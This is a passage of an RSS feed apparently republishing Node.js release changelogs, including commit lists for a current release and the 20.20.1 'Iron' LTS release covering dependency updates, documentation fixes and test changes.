<li>[<a href="https://github.com/nodejs/node/commit/9b483fbb27"><code>9b483fbb27</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e54c103cb"><code>4e54c103cb</code></a>] - <strong>doc</strong>: separate in-types and out-types in SQLite conversion docs (René) <a href="https://github.com/nodejs/node/pull/62034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62034/hovercard">#62034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca78ebbeaa"><code>ca78ebbeaa</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e6b131f3fe"><code>e6b131f3fe</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7508540e19"><code>7508540e19</code></a>] - <strong>doc</strong>: update DEP0040 (punycode) to application type deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61916/hovercard">#61916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33a364cb62"><code>33a364cb62</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46a61922bd"><code>46a61922bd</code></a>] - <strong>doc</strong>: support toolchain Visual Studio 2022 &amp; 2026 + Windows 11 SDK (Mike McCready) <a href="https://github.com/nodejs/node/pull/61864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61864/hovercard">#61864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc12a257aa"><code>dc12a257aa</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafdc0a5b8"><code>dafdc0a5b8</code></a>] - <strong>http</strong>: validate headers in writeEarlyHints (Richard Clarke) <a href="https://github.com/nodejs/node/pull/61897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61897/hovercard">#61897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3c94b56fa6"><code>3c94b56fa6</code></a>] - <strong>inspector</strong>: unwrap internal/debugger/inspect imports (René) <a href="https://github.com/nodejs/node/pull/61974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61974/hovercard">#61974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8a24c17648"><code>8a24c17648</code></a>] - <strong>lib</strong>: improve argument handling in Blob constructor (Ms2ger) <a href="https://github.com/nodejs/node/pull/61980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61980/hovercard">#61980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/21d4baf256"><code>21d4baf256</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.32.0 to 4.32.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61911/hovercard">#61911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59a726a8e3"><code>59a726a8e3</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.1 to 2.14.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61909/hovercard">#61909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0072b7f991"><code>0072b7f991</code></a>] - <strong>meta</strong>: bump actions/stale from 10.1.1 to 10.2.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61908" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61908/hovercard">#61908</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999bf22f47"><code>999bf22f47</code></a>] - <strong>repl</strong>: keep reference count for <code>process.on('newListener')</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61895/hovercard">#61895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c181e2277"><code>4c181e2277</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aee2a18257"><code>aee2a18257</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46ee1eddd7"><code>46ee1eddd7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9ddd1a9c27"><code>9ddd1a9c27</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src,permission</strong>: add --permission-audit (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea2df2a16f"><code>ea2df2a16f</code></a>] - <strong>stream</strong>: fix pipeTo to defer writes per WHATWG spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61800" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61800/hovercard">#61800</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa0c7b09e0"><code>aa0c7b09e0</code></a>] - <strong>test</strong>: remove unnecessary <code>process.exit</code> calls from test files (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62020" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62020/hovercard">#62020</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad96a6578f"><code>ad96a6578f</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c72a31e4b"><code>7c72a31e4b</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/604456c163"><code>604456c163</code></a>] - <strong>test</strong>: avoid flaky debugger restart waits (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/61773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61773/hovercard">#61773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4890d6bd43"><code>4890d6bd43</code></a>] - <strong>test_runner</strong>: run afterEach on runtime skip (Igor Shevelenkov) <a href="https://github.com/nodejs/node/pull/61525" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61525/hovercard">#61525</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fce2930110"><code>fce2930110</code></a>] - <strong>test_runner</strong>: expose expectFailure message (sangwook) <a href="https://github.com/nodejs/node/pull/61563" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61563/hovercard">#61563</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d97ec4044"><code>0d97ec4044</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243e6b2009"><code>243e6b2009</code></a>] - <strong>test_runner</strong>: replace native methods with primordials (Ayoub Mabrouk) <a href="https://github.com/nodejs/node/pull/61219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61219/hovercard">#61219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf1ed7e647"><code>bf1ed7e647</code></a>] - <strong>tls</strong>: forward keepAlive, keepAliveInitialDelay, noDelay to socket (Sergey Zelenov) <a href="https://github.com/nodejs/node/pull/62004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62004/hovercard">#62004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0f15079d94"><code>0f15079d94</code></a>] - <strong>tools</strong>: remove custom logic for skipping <code>test-strace-openat-openssl</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62038/hovercard">#62038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54a055a59d"><code>54a055a59d</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in <code>/tools/clang-format</code> (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61977" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61977/hovercard">#61977</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a28744cb62"><code>a28744cb62</code></a>] - <strong>tools</strong>: fix permissions for merve update script (Richard Lau) <a href="https://github.com/nodejs/node/pull/62023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62023/hovercard">#62023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31e7936354"><code>31e7936354</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0a96a16e1f"><code>0a96a16e1f</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.2 to 3.1.3 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/61976" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61976/hovercard">#61976</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f279233412"><code>f279233412</code></a>] - <strong>tools</strong>: roll back to x86 runner on <code>scorecard.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61944" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61944/hovercard">#61944</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/192c0382f4"><code>192c0382f4</code></a>] - <strong>util</strong>: add fast path to stripVTControlCharacters (Hiroki Osame) <a href="https://github.com/nodejs/node/pull/61833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61833/hovercard">#61833</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-05, Version 20.20.1 'Iron' (LTS), @marco-ippolito]]></title>
<description><![CDATA[Notable Changes

[91a66e671c] - build: test on Python 3.14 (Christian Clauss) #59983
[f66056054b] - crypto: update root certificates to NSS 3.119 (Node.js GitHub Bot) #61419
[80feacaddb] - crypto: update root certificates to NSS 3.117 (Node.js GitHub Bot) #60741

Commits

[6f580d5399] - assert: f...]]></description>
<link>https://tsecurity.de/de/3487709/downloads/2026-03-05-version-20201-iron-lts-marco-ippolito/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487709/downloads/2026-03-05-version-20201-iron-lts-marco-ippolito/</guid>
<pubDate>Tue, 05 May 2026 02:03:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/91a66e671c"><code>91a66e671c</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f66056054b"><code>f66056054b</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80feacaddb"><code>80feacaddb</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6f580d5399"><code>6f580d5399</code></a>] - <strong>assert</strong>: fix deepEqual always return true on URL (Xuguang Mei) <a href="https://github.com/nodejs/node/pull/50853" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/50853/hovercard">#50853</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91a66e671c"><code>91a66e671c</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc4f7af6f3"><code>cc4f7af6f3</code></a>] - <strong>build</strong>: skip sscache action on non-main branches (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61790/hovercard">#61790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f66056054b"><code>f66056054b</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80feacaddb"><code>80feacaddb</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa88cc07e2"><code>fa88cc07e2</code></a>] - <strong>crypto</strong>: ensure documented RSA-PSS saltLength default is used (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60662" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60662/hovercard">#60662</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88b2eec88a"><code>88b2eec88a</code></a>] - <strong>deps</strong>: update minimatch to 10.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61830" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61830/hovercard">#61830</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c053264f1"><code>5c053264f1</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61687" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61687/hovercard">#61687</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a398699d0"><code>4a398699d0</code></a>] - <strong>deps</strong>: update googletest to 5a9c3f9e8d9b90bbbe8feb32902146cb8f7c1757 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61731/hovercard">#61731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4fa43adf15"><code>4fa43adf15</code></a>] - <strong>deps</strong>: update googletest to 56efe3983185e3f37e43415d1afa97e3860f187f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61605/hovercard">#61605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a855d490c"><code>1a855d490c</code></a>] - <strong>deps</strong>: update googletest to 85087857ad10bd407cd6ed2f52f7ea9752db621f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61417/hovercard">#61417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8a9359826"><code>d8a9359826</code></a>] - <strong>deps</strong>: update icu to 78.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60523/hovercard">#60523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e79cd3a0bb"><code>e79cd3a0bb</code></a>] - <strong>deps</strong>: update acorn-walk to 8.3.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61928" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61928/hovercard">#61928</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0707ade464"><code>0707ade464</code></a>] - <strong>deps</strong>: update acorn to 8.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61925" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61925/hovercard">#61925</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc5a3cddef"><code>dc5a3cddef</code></a>] - <strong>deps</strong>: update llhttp to 9.3.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61827" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61827/hovercard">#61827</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46043b94c7"><code>46043b94c7</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-e00f703 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61135/hovercard">#61135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6be15a596e"><code>6be15a596e</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61271/hovercard">#61271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10881404cd"><code>10881404cd</code></a>] - <strong>deps</strong>: update timezone to 2025c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61138/hovercard">#61138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1594a78c85"><code>1594a78c85</code></a>] - <strong>deps</strong>: update googletest to 065127f1e4b46c5f14fc73cf8d323c221f9dc68e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61055/hovercard">#61055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7fa2ee1933"><code>7fa2ee1933</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-63d7e16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60898/hovercard">#60898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09259532ef"><code>09259532ef</code></a>] - <strong>deps</strong>: update googletest to 1b96fa13f549387b7549cc89e1a785cf143a1a50 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60739/hovercard">#60739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa8bdb6886"><code>aa8bdb6886</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60646/hovercard">#60646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc849fde27"><code>cc849fde27</code></a>] - <strong>deps</strong>: update googletest to 279f847 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60219" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60219/hovercard">#60219</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a99ba553a2"><code>a99ba553a2</code></a>] - <strong>deps</strong>: update googletest to 50b8600 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59955" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59955/hovercard">#59955</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6349a79f5f"><code>6349a79f5f</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/7e17b15c304552aa4b939dfc6eea5e9de5d2e264/hovercard" href="https://github.com/nodejs/node/commit/7e17b15c304552aa4b939dfc6eea5e9de5d2e264"><tt>7e17b15</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59131/hovercard">#59131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ba759f1a0"><code>8ba759f1a0</code></a>] - <strong>deps</strong>: update googletest to 35b75a2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/58710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58710/hovercard">#58710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/927d906850"><code>927d906850</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/e9092b1a128a1481b63f7f83039237d47503a048/hovercard" href="https://github.com/nodejs/node/commit/e9092b1a128a1481b63f7f83039237d47503a048"><tt>e9092b1</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/58565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58565/hovercard">#58565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf8919f5c2"><code>bf8919f5c2</code></a>] - <strong>deps</strong>: update googletest to <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/nodejs/node/commit/0bdccf462a57fc9ec2d22533f0754ac1a52c8057/hovercard" href="https://github.com/nodejs/node/commit/0bdccf462a57fc9ec2d22533f0754ac1a52c8057"><tt>0bdccf4</tt></a> (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/57380" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57380/hovercard">#57380</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae6231dac0"><code>ae6231dac0</code></a>] - <strong>deps</strong>: update googletest to e235eb3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/56873" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56873/hovercard">#56873</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0561c62e85"><code>0561c62e85</code></a>] - <strong>deps</strong>: update minimatch to 10.1.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61732" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61732/hovercard">#61732</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0ef221b0d"><code>f0ef221b0d</code></a>] - <strong>deps</strong>: update minimatch to 10.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60543/hovercard">#60543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15bd0da404"><code>15bd0da404</code></a>] - <strong>deps</strong>: update archs files for openssl (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61912/hovercard">#61912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04d439323f"><code>04d439323f</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.0.19 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61912/hovercard">#61912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2ea16d3bd6"><code>2ea16d3bd6</code></a>] - <strong>deps</strong>: update corepack to 0.34.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61510/hovercard">#61510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/622f973d1c"><code>622f973d1c</code></a>] - <strong>deps</strong>: update corepack to 0.34.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60842/hovercard">#60842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cd265d8b9"><code>2cd265d8b9</code></a>] - <strong>deps</strong>: update corepack to 0.34.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60643/hovercard">#60643</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65e839687b"><code>65e839687b</code></a>] - <strong>deps</strong>: update corepack to 0.34.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60550/hovercard">#60550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2dc99d2771"><code>2dc99d2771</code></a>] - <strong>dns</strong>: fix Windows SRV ECONNREFUSED by adjusting c-ares fallback detection (notvivek12) <a href="https://github.com/nodejs/node/pull/61453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61453/hovercard">#61453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c7b84b1d8"><code>2c7b84b1d8</code></a>] - <strong>doc</strong>: fix typo in http.md (Michael Solomon) <a href="https://github.com/nodejs/node/pull/59354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59354/hovercard">#59354</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a84b42667c"><code>a84b42667c</code></a>] - <strong>doc</strong>: fix grammar in global dispatcher usage (Eng Zer Jun) <a href="https://github.com/nodejs/node/pull/59344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59344/hovercard">#59344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffd0ada45f"><code>ffd0ada45f</code></a>] - <strong>doc</strong>: fix typo in <code>test/common/README.md</code> (Yoo) <a href="https://github.com/nodejs/node/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59180/hovercard">#59180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4d9d006e7"><code>b4d9d006e7</code></a>] - <strong>doc</strong>: fix broken sentence in <code>URL.parse</code> (Superchupu) <a href="https://github.com/nodejs/node/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59164/hovercard">#59164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45e9971d9c"><code>45e9971d9c</code></a>] - <strong>doc</strong>: fix typo in writing-test.md (SeokHun) <a href="https://github.com/nodejs/node/pull/59123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59123/hovercard">#59123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9fd10b5d6"><code>e9fd10b5d6</code></a>] - <strong>doc</strong>: fix <code>fetch</code> subsections in <code>globals.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/58933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58933/hovercard">#58933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3715dd1c2b"><code>3715dd1c2b</code></a>] - <strong>doc</strong>: fix wrong RFC number in http2 (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/58753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58753/hovercard">#58753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/098c017eac"><code>098c017eac</code></a>] - <strong>doc</strong>: punctuation fix for Node-API versioning clarification (Jiacai Liu) <a href="https://github.com/nodejs/node/pull/58599" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58599/hovercard">#58599</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/545bf434e1"><code>545bf434e1</code></a>] - <strong>doc</strong>: fix typo of file <code>http.md</code>, <code>outgoingMessage.setTimeout</code> section (yusheng chen) <a href="https://github.com/nodejs/node/pull/58188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58188/hovercard">#58188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d6683e7b"><code>b3d6683e7b</code></a>] - <strong>doc</strong>: support toolchain with Visual Studio 2019 &amp; 2022 only (Mike McCready) <a href="https://github.com/nodejs/node/pull/61450" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61450/hovercard">#61450</a></li>
